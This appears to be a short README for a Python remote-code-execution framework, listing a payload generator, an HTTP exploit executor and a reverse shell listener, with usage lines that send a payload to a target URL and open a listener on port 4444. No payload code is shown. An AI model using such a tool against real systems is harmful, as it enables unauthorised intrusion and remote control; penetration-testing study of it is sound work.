This framework is designed to assist penetration testers or developers in understanding the mechanics of remote code execution (RCE) exploitation.
- Payload Generator: Supports the creation of custom payloads based on Python, Bash, and PHP.
- Exploit Executor: Delivers the payload to the target via HTTP POST or GET.
- Reverse Shell Listener: A module to receive reverse shell connections.
- Log Output: Saves logs of exploitation activities for further analysis.
- Download and install Python from the official Python website: https://www.python.org.
- Install Module pip
pip install requests
- Display Help:
- Send Payload to Target:
- Run Listener for Reverse Shell:
- Follow the instructions displayed in the terminal.
python rce_framework.py -h
python rce_framework.py -t http://site.com/vuln -p python -i 127.0.0.1 --port 4444
python rce_framework.py -l 4444
I have written the disclaimer on the cover of Jenderal92. You can check it HERE !!!